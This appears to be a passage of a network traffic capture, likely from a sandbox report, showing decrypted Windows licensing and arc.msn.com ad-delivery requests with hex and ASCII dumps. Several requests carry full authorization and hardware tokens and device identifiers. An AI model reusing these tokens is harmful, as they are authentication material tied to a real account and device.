6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"17d58469-8e3f-b942-6a8d-b5f8c70a865f"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:22 UTC 2045 IN Data Raw: 44 41 78 4f 6a 45 35 4f 6a 55 79 4c 6a 67 30 4e 6a 6b 77 4f 44 4e 61 50 43 39 43 5a 57 64 70 62 6b 52 68 64 
47 55 2b 50 43 39 4d 61 57 4e 6c 62 6e 4e 6c 53 57 35 6d 62 7a 34 38 51 33 56 7a 64 47 39 74 55 47 39 73 61 57 4e 70 
5a 58 4d 2b 5a 58 6c 4b 63 31 70 58 5a 47 68 5a 4d 32 78 52 59 32 30 35 61 32 52 58 54 6a 42 54 56 31 46 70 54 32 6c 
4b 61 6c 70 58 52 6d 70 4f 56 31 46 36 57 6d 6b 77 4e 46 6c 55 55 6d 31 4d 56 46 46 33 57 6c 52 46 64 45 39 58 52 54 4
a 4f 65 54 41 7a 54 6d 31 52 4e 55 31 55 51 54 52 5a 65 6d 52 71 57 57 70 56 61 57 5a 52 50 54 30 38 4c 30 4e 31 63 
33 52 76 62 56 42 76 62 47 6c 6a 61 57 56 7a 50 6a 78 54 55 45 78 70 59 32 56 75 63 32 56 43 62 47 39 6a 61 7a 35 47 
51 55 46 42 51 55 78 4a 51 55 46 42 52 45 70 42 51 55 46 42 51 32 64 42 
Data Ascii: DAxOjE5OjUyLjg0NjkwODNaPC9CZWdpbkRhdGU+PC9MaWNlbnNlSW5mbz48Q3VzdG9tUG9saWNpZXM
+ZXlKc1pXZGhZM2xRY205a2RXTjBTV1FpT2lKalpXRmpOV1F6WmkwNFlUUm1MVFF3WlRFdE9XRTJOeTA
zTm1RNU1UQTRZemRqWWpVaWZRPT08L0N1c3RvbVBvbGljaWVzPjxTUExpY2Vuc2VCbG9jaz5GQUFBQUx
JQUFBREpBQUFBQ2dB

2022-07-01 09:01:22 UTC 2046 IN Data Raw: 6d 56 6d 5a 58 4a 6c 62 6d 4e 6c 49 46 56 53 53 54 30 69 49 6a 34 38 56 48 4a 68 62 6e 4e 6d 62 33 4a 74 
63 7a 34 38 56 48 4a 68 62 6e 4e 6d 62 33 4a 74 49 45 46 73 5a 32 39 79 61 58 52 6f 62 54 30 69 61 48 52 30 63 44 6f 
76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 43 38 77 4f 53 39 34 62 57 78 6b 63 32 6c 6e 49 32 5
6 75 64 6d 56 73 62 33 42 6c 5a 43 31 7a 61 57 64 75 59 58 52 31 63 6d 55 69 49 43 38 2b 50 43 39 55 63 6d 46 75 63 
32 5a 76 63 6d 31 7a 50 6a 78 45 61 57 64 6c 63 33 52 4e 5a 58 52 6f 62 32 51 67 51 57 78 6e 62 33 4a 70 64 47 68 74 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 7a 41 30 4c 33 68 
74 62 47 56 75 59 79 4e 7a 61 47 45 79 4e 54 59 69 49 43 38 2b 50 45 52 70 
Data Ascii: mVmZXJlbmNlIFVSST0iIj48VHJhbnNmb3Jtcz48VHJhbnNmb3JtIEFsZ29yaXRobT0iaHR0cDovL3d
3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnI2VudmVsb3BlZC1zaWduYXR1cmUiIC8+PC9UcmFuc2Zvcm1zPjxEaWdlc
3RNZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzA0L3htbGVuYyNzaGEyNTYiIC8+PERp
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2022-07-01 09:01:22 UTC 2047 IN Data Raw: 33 42 77 51 30 46 50 4b 32 6c 75 4f 56 42 50 54 46 64 6b 51 7a 49 76 56 46 46 76 5a 47 64 6c 53 46 70 36 59 
6d 52 43 64 6e 68 4b 64 6b 74 6f 63 47 4a 79 63 54 5a 61 55 44 42 47 63 31 4e 46 62 45 78 33 55 6d 39 4d 51 57 31 32 
4e 33 70 4a 64 56 5a 33 4d 31 5a 69 4e 33 52 6d 55 58 51 31 59 6d 70 44 52 45 68 53 51 55 63 35 5a 6d 56 7a 54 6d 78 
5a 53 31 59 7a 65 57 4a 35 54 6e 4a 49 65 58 70 6e 62 47 5a 61 55 46 4a 43 4e 56 56 4b 57 6e 63 7a 4d 6e 6c 70 4d 44 
4e 36 55 57 45 72 54 45 78 68 4d 44 56 6d 61 6e 4d 32 61 6d 39 46 62 57 78 49 59 7a 56 43 63 6b 64 52 63 6b 64 79 59 
6b 35 4e 51 6d 46 6f 65 6a 52 6a 62 58 56 34 53 30 4d 30 4c 32 52 6f 52 57 49 33 53 6c 70 47 56 57 74 6a 4d 45 31 53 
61 48 4d 76 54 54 4e 57 5a 54 55 78 4d 55 68 52 5a 6b 74 31 52 79 73 35 
Data Ascii: 3BwQ0FPK2luOVBPTFdkQzIvVFFvZGdlSFp6YmRCdnhKdktocGJycTZaUDBGc1NFbEx3Um9MQW12N3p
JdVZ3M1ZiN3RmUXQ1YmpDREhSQUc5ZmVzTmxZS1YzeWJ5TnJIeXpnbGZaUFJCNVVKWnczMnlpMDN6UWE
rTExhMDVmanM2am9FbWxIYzVCckdRckdyYk5NQmFoejRjbXV4S0M0L2RoRWI3SlpGVWtjME1SaHMvTTN
WZTUxMUhRZkt1Rys5

2022-07-01 09:01:22 UTC 2048 IN Data Raw: 42 63 33 4e 76 59 32 6c 68 64 47 56 6b 55 45 5a 4f 63 7a 35 54 63 47 39 30 61 57 5a 35 51 55 49 75 55 33 42 
76 64 47 6c 6d 65 55 31 31 63 32 6c 6a 58 33 70 77 5a 47 35 6c 61 32 52 79 65 6e 4a 6c 59 54 41 38 4c 30 46 7a 63 32 
39 6a 61 57 46 30 5a 57 52 51 52 6b 35 7a 50 6a 78 4d 5a 57 46 7a 5a 56 4a 6c 62 6d 56 33 59 57 78 51 5a 58 4a 70 62 
32 51 2b 4d 6a 41 78 4e 6a 41 38 4c 30 78 6c 59 58 4e 6c 55 6d 56 75 5a 58 64 68 62 46 42 6c 63 6d 6c 76 5a 44 34 38 
4c 30 4a 70 62 6d 52 70 62 6d 63 2b 50 45 78 70 59 32 56 75 63 32 56 4a 62 6d 5a 76 49 46 52 35 63 47 55 39 49 6b 78 
6c 59 58 4e 6c 49 69 42 4d 61 57 4e 6c 62 6e 4e 6c 56 58 4e 68 5a 32 55 39 49 6b 39 75 62 47 6c 75 5a 53 49 67 54 47 
6c 6a 5a 57 35 7a 5a 55 4e 68 64 47 56 6e 62 33 4a 35 50 53 4a 53 5a 58 
Data Ascii: Bc3NvY2lhdGVkUEZOcz5TcG90aWZ5QUIuU3BvdGlmeU11c2ljX3pwZG5la2RyenJlYTA8L0Fzc29ja
WF0ZWRQRk5zPjxMZWFzZVJlbmV3YWxQZXJpb2Q+MjAxNjA8L0xlYXNlUmVuZXdhbFBlcmlvZD48L0JpbmRpbmc+PEx
pY2Vuc2VJbmZvIFR5cGU9IkxlYXNlIiBMaWNlbnNlVXNhZ2U9Ik9ubGluZSIgTGljZW5zZUNhdGVnb3J5PSJSZX

2022-07-01 09:01:22 UTC 2049 IN Data Raw: 30 57 6b 52 4b 61 55 35 55 61 7a 4e 4f 61 6d 64 35 54 57 31 56 4d 45 70 74 4d 57 68 6a 62 58 52 73 5a 45 
51 78 56 6c 56 35 57 6e 64 69 4d 6e 68 77 57 54 4e 73 56 57 56 59 51 6d 78 51 56 56 4a 73 5a 47 31 73 61 6c 70 54 53 
58 4e 4a 62 58 52 73 5a 56 56 73 61 32 4e 35 53 54 5a 58 65 55 6c 34 54 6a 4a 52 4d 55 39 45 55 54 4a 50 55 7a 41 30 
57 6c 52 4f 62 55 78 58 53 54 56 4f 52 45 6c 30 54 6d 31 46 4e 46 70 44 4d 57 6c 4f 56 31 6b 30 57 58 70 6a 64 31 6c 55 
5a 7a 4a 4f 56 31 6c 70 57 46 4e 33 61 57 45 79 62 48 56 61 51 30 6b 32 53 57 74 4f 64 6d 4a 75 55 6d 78 69 62 6c 46 
70 54 45 4e 4b 64 31 6c 58 54 6e 4a 5a 56 32 52 73 59 33 6c 4a 4e 6c 63 7a 63 32 6c 6a 52 30 5a 71 59 54 4a 47 62 6c 
70 56 62 47 74 61 56 7a 55 77 59 56 64 61 63 46 70 59 53 57 6c 50 61 55 
Data Ascii: 0WkRKaU5UazNOamd5TW1VMEptMWhjbXRsZEQxVlV5WndiMnhwWTNsVWVYQmxQVVJsZG1
salpTSXNJbXRsZVVsa2N5STZXeUl4TjJRMU9EUTJPUzA0WlRObUxXSTVOREl0Tm1FNFpDMWlOV1k0WXp
jd1lUZzJOV1lpWFN3aWEybHVaQ0k2SWtOdmJuUmxiblFpTENKd1lXTnJZV2RsY3lJNlczc2ljR0ZqYTJGblpVbGtaV
zUwYVdacFpYSWlPaU

2022-07-01 09:01:22 UTC 2050 IN Data Raw: 59 4f 47 31 6b 4d 30 68 43 63 6d 68 43 62 48 4e 74 61 7a 52 31 59 6d 64 32 4e 6a 6c 57 53 6a 67 77 5a 79 38 
30 53 6c 6b 33 64 54 68 4c 62 58 52 4f 55 54 42 78 61 6b 63 78 4d 58 5a 69 64 58 5a 6a 64 48 64 4f 4e 57 4e 75 65 6c 
46 48 59 56 6c 47 55 47 52 36 55 33 52 48 57 53 39 72 62 48 6c 56 51 54 52 47 5a 33 52 50 64 7a 30 39 50 43 39 54 55 
45 78 70 59 32 56 75 63 32 56 43 62 47 39 6a 61 7a 34 38 55 32 6c 6e 62 6d 46 30 64 58 4a 6c 49 48 68 74 62 47 35 7a 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 77 4c 7a 41 35 4c 33 68 
74 62 47 52 7a 61 57 63 6a 49 6a 34 38 55 32 6c 6e 62 6d 56 6b 53 57 35 6d 62 7a 34 38 51 32 46 75 62 32 35 70 59 32 
46 73 61 58 70 68 64 47 6c 76 62 6b 31 6c 64 47 68 76 5a 43 42 42 62 47 
Data Ascii: YOG1kM0hCcmhCbHNtazR1Ymd2NjlWSjgwZy80Slk3dThLbXROUTBxakcxMXZidXZjdHdONWNuelFHY
VlGUGR6U3RHWS9rbHlVQTRGZ3RPdz09PC9TUExpY2Vuc2VCbG9jaz48U2lnbmF0dXJlIHhtbG5zPSJodHRwOi8vd3d
3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjIj48U2lnbmVkSW5mbz48Q2Fub25pY2FsaXphdGlvbk1ldGhvZCBBbG

2022-07-01 09:01:22 UTC 2051 IN Data Raw: 5a 55 55 74 44 56 33 5a 71 62 56 70 43 5a 33 70 4c 61 7a 6c 4f 54 6d 4a 35 65 57 4e 6c 59 56 5a 78 56 6b 4e 
6e 65 6b 56 77 65 45 35 74 61 44 4d 72 55 45 59 30 4f 57 4a 45 65 6c 42 45 53 54 46 4f 57 6c 64 58 63 47 6c 35 5a 7a 
49 35 64 44 52 77 65 47 59 79 56 47 78 68 59 31 6f 7a 5a 48 68 57 54 44 46 5a 53 31 68 4b 64 6b 70 47 52 48 63 72 56 
6b 52 6a 63 47 31 4b 56 45 52 75 53 30 5a 36 53 7a 4e 71 4e 53 74 49 52 6d 52 55 4f 44 4d 79 4e 33 4a 76 52 56 64 49 
63 31 5a 7a 5a 58 45 77 57 44 68 4e 61 58 68 75 56 56 64 45 51 6d 78 78 64 31 5a 4a 62 58 4a 4e 55 58 41 79 5a 44 5a 
59 62 6e 46 73 4d 6a 56 70 4e 45 78 71 59 6a 5a 71 54 6d 5a 75 59 55 4a 45 4e 6a 64 50 51 58 68 75 4f 56 46 50 52 48 
42 48 56 44 55 72 4d 6c 6c 33 5a 55 34 35 57 57 78 35 4e 6d 31 36 65 58 
Data Ascii: ZUUtDV3ZqbVpCZ3pLazlOTmJ5eWNlYVZxVkNnekVweE5taDMrUEY0OWJEelBESTFOWldXcGl5ZzI5d
DRweGYyVGxhY1ozZHhWTDFZS1hKdkpGRHcrVkRjcG1KVERuS0Z6SzNqNStIRmRUODMyN3JvRVdIc1ZzZ
XEwWDhNaXhuVVdEQmxxd1ZJbXJNUXAyZDZYbnFsMjVpNExqYjZqTmZuYUJENjdPQXhuOVFPRHBHVDUrM
ll3ZU45WWx5Nm16eX

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

113 192.168.2.5 49880 20.82.209.183 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:22 UTC 2052 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:FE8E72D9-9324-F27F-91C7-FEE66B531521&ctry=US&time=20220701T180120Z&lc=en-US&pl=en-US&i
dtp=mid&uid=8706df6d-9543-4122-b8e1-1fcdd5939be6&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=0a8ec0335dc84c9cb90783a4ebf2d68b&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1583966&metered=false&nettype=ethernet&npid=sc-
280815&oemName=ofrcin%2C%20Inc.&oemid=ofrcin%2C%20Inc.&ossku=Professional&smBiosDm=ofrcin7%2C1&tl=2&
tsu=1583966&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32099&sc=6
X-SDK-HW-TOKEN: t=EwDgAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAQiQ/nlbFlPBiEcVJhoFdhvshks4mxOP
iEtsCNpWhkzewA6QhIqXy3sK+id5/1ugLdt9gOVGu0RAKZAQjzzFgcFnQ220ocBzoGmAHurFhdkM4FOKo7HxtvFRpi
zqGBRtkhPkkRxTE6CYC86oVQo/CdlN7ZtXoWAtTtS7CdUp/D8xxcXn6GFiq824J6RdkqKHgm4fHWfBA2JvT+59GrN6
FTGfPxRnrQl1EFfYxw2NDHNBGDtCtU9YEpB4p1vr9NHeNixBbHBUirXsrdt8F9Jd+D9ifiVIsUjTh2qiqDV3w8zhLe
8c838bNRioAgCuMGehOiV5n6ED51zRoipuIIYDIQADZgAACNAEddRLKJw3sAHTL6LQ6BCZ6tCqr7PgvDMJ42JuaHaN
FSDa2xlpdsgvA9lHqOty+OQ5b3D+b5GORojDw9/NP17dH0tYYG+jZtcWEYj76oBvR7JfKpWZlpPd7xmj5CJsLqQ9dJ
PLzneaYpYFRXEilt134+KPYYgWXoSw0N5WBuiluEPy7aIcYzBXVNMw+DSI/m2G84Xcr3g283couwTW0CCm5YtmE7P4
abGJukSVkb70VguZ7exaYSCfPXtUUdwYQZCvqo1MGJQvtX3QrPWlqMtnxnc/2PC3I0wXMLvth4WoXRtUJbFTFraW7r
cgev3aYb72+QaGqfo92I9af3wD8LrZQMCFlOQi36FwBEgQl+6aPgBdmyNauN0sZ5dww5zY9AZcZKqsppomVlu1oGIb
8nVbGTd9c4nMnkS44kt12fhuAWNs5uU03BjHvbhNSGBqP9ZwCDybPanOuL37gz1bwV9xNaByQZKyrIoKiCusZo8lNw
J/9a6jfHTo5X+PMwn8sLAddvlFffhUTaNHFC0Qq8KJqYslAlbyMTTvAbshGHE/Nnc3vMVh/XjauVKEVth/yJn6QpEk
OiGUZlTaAQ==&p=
Cache-Control: no-cache
MS-CV: BQxQr0VbTEmcKjT7.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive

2022-07-01 09:01:22 UTC 2066 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 3048
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T700333390-C128000000001627409+B+P20+S1"},{"OPTOUTST
ATE":"256"}]
X-ARC-SIG: k4+fhKhXYbFoIAtXl+8d/rJA8s0RUKzI9Lztwje9IZ1VYg7Ucu2AGICCiB1JijIYNK5mH7g+TCjYkOc4xx6pxYpDz
Uuj94kKqDkvC7Aa82orJTlJAY/vqnObaheImoYRlmpiljvQtj5879ZZlL6GN9+hMNtpkhpwEcxlEVYd6IyjzhenzAF
Afm1M9LaaNCgrAn1Vs+xvRYpqWyWsmgUL2LgD0CpiYxYNfKvOoDhZohqengrtB6g6xW1spUYfYR2gThDm/e5ENspXL
y8mMP+UQfUVmRzoV67OPPyTZlFB6aFA1d967Q1JPqHVjtfG1F0km6/LohNLjkttJHZGW59tQw==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Fri, 01 Jul 2022 09:01:22 GMT
Connection: close

2022-07-01 09:01:22 UTC 2067 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 
22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 
72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 6
4 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 
5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 
66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 
5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedCont
ent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

114 192.168.2.5 49879 20.82.209.183 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:22 UTC 2054 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:FE8E72D9-9324-F27F-91C7-FEE66B531521&ctry=US&time=20220701T180115Z&lc=en-US&pl=en-US&i
dtp=mid&uid=8706df6d-9543-4122-b8e1-1fcdd5939be6&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=321fd977ef8242b3bc323cc669a7b468&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1583966&metered=false&nettype=ethernet&npid=sc-
338389&oemName=ofrcin%2C%20Inc.&oemid=ofrcin%2C%20Inc.&ossku=Professional&smBiosDm=ofrcin7%2C1&tl=2&
tsu=1583966&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32099&sc=6
X-SDK-HW-TOKEN: t=EwDgAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAATC3I5MCiNiZRUSkHLXmr2
h16E7Q++Whx3iOpPKiyn/NnUhEWye0F9WEEPnb9KQwSNFvj/XsSGU+fQ60XP5FvzL5J5wi77xbTZc9g24kpX9P1nlL
OzpG0xrAJrD+T4KTGi9jjN8SegCSaJgQHuPLjUeYbgWurckU5hBGQI0KjpxtOgLUXZnvljzLPCvjHYYX/OhLGHZdbS
UqvNgwTnOAHCEBSCdSXq8CFtA8jTWYpVrSl04xAmMUAeJPR4hszXb40dopACLqjCOIIvrBZLyAuxmy731fbSFbQ1H/
iAvCTmgj9lEZiVPz+U6YpwAm89lZBq/wg1vI6jHdUMFP1hyQFKADZgAACJJ4RTrzHcmFsAHl64pJyj4mS+EjcMo1++
7j7FW8LVCdm3VQVLEZCUoC/mtauHkEiSRovL9wW+1CopT7nzGYdH4edpX55svzZyZS8SqmheKDvO3V/G54kOnghCJs
Ljw8t8x8ONKFjBovgeYkkCEAYmUFwVim2AwwlaWILVbfX+sdJWV1Y9hVCtotsn537CzSy1amz44pTUB1DDOKDGOE8+
Nyq/73+OVuxdkyFTubqFs66OlGcZ3XH8rGTF+d0l3GDn4TcT3EOqjrs14CFqPyC4ewNQcGYapLCW9De1ZHZnZKRy/I
t9InsQvETkbqNZAM9NGTX8xJHQ4bw3HnSh2OQ4rc+9bBvI6o3MRrU3DtSsoguzalI/wy78MpXF3WPCRZluxIA96fHI
TrlorCCObhUAbJNcnw/7RZP8RwbGbtVCmPcbSj/xg2S6a7BarITjxwuT+jSbB9M9uWS+y1ce1ENId+ZnoMdS5CpNSw
KU8/+SvrIcMYNNAKagqvedAxNUXKgY/Iz0JAfVqKqUKBHXTbV+vhdol7qxDowF8UhCe4PpHTMnCZfUmLUXfvGgi6kd
dv9hzT7zBwLR9AUfvaAQ==&p=
Cache-Control: no-cache
MS-CV: BQxQr0VbTEmcKjT7.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive

2022-07-01 09:01:22 UTC 2062 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 3050
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"1,P425116219-T700333446-C128000000001627409+B+P10+S1"},{"OPTOUTST
ATE":"256"}]
X-ARC-SIG: kXhU9UBnBPWpuPj+Jyh6Mvla5KRbbRt8KO9MRoRcEEX4n1RdvGBhKu1H14cfwQgioq2/FpH/qz0A1B1
Jz+fCn2Wwhhik6u8gPJaNXBTyuNDCY8IgIiR12QSgio/Vh4K7nzI9Eeg0WLTl+M1vSQQf6clSOobSQd403jAYtiUjZ
tRX5sHBrmTWsWNYfDF6mqJSAxGizB55SdXf2+g8TP1wYco8VO4/S6GtVZvIDahqhTNhUnUdOIBh8WJWuRKGlionx8d
e57c+VsHhHo7bbo3G+fyNOz8ksUZ2YdbycTnL77/ubb8lYSDGVLcv/KAZVT6wq7gXfKUGKFlvabiO5OZlWg==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Fri, 01 Jul 2022 09:01:21 GMT
Connection: close

2022-07-01 09:01:22 UTC 2063 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 
22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 
72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 6
4 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 
5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 
66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 
5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedCont
ent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti
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115 192.168.2.5 49881 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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2022-07-01 09:01:22 UTC 2056 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
